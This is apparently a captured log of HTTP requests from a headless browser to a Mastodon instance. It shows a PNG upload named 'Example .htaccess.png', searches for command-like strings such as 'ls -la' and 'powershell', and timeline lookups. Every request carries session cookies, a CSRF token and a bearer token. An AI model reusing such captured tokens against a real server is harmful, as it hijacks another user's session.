_mastodon_session=my9t%2FIFIx1CqQmJp8LOrDbGAmOWHAAMVRzRjf%2BRJbEmtG9ybODPOfBMLMo73xOERXfCrfW7ifwonj8EoesQItbLvtuOZalmz8uAGBB6MljeOsBTvcxs8MIjBvcUtkF4W4k5%2FrB8rb9Q6SIsY7oAtlT1h7550KKMh%2Bay%2B%2FnehahoVLN2cXVa40eIMm8SyCdZjopb%2FY7zBGDIJNDyCo6Fe9o1UfSkcBxZ0GMXExrAwFtzsmE1LOnPVEMpzH2iOqPswJ%2BJUlSv35t9xqo5Rt7mFAKQmXxv7F6EdjYTpKqV7mhVTlcr5wTLZjWFTFNXMsoBwkRw4IQMj7N4pJ%2FXLmTmjM6eqSmYZBLc%2FZ4UR8lJZ4Ibi5mlnZe0jOJn0GyvgFKrWyc7LtSBqjbtQ--pAFEGqNoR%2FLtyZYW--RWzDxh7SBwyJ5dQjap%2BgqQ%3D%3D"], "body": "------WebKitFormBoundary7M68vQfsTam71WxV\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundary7M68vQfsTam71WxV--\r\n"}
|
||||||
|
{"method": "GET", "target": "/packs/form_fields-DfnQ2g39.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=python3&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=powershell&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=powershell", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=ls+-la&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=ls+-la", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home?since_id=117589367555012187", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=ls+-la", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=.htaccess&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=.htaccess", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=river+walk&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=river+walk", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%23python3&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%23python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%40bob&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%40bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/relationships?with_suspended=true&id[]=117589325674471006&id[]=117589325674471006", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%40bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home?since_id=117589367555012187", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; 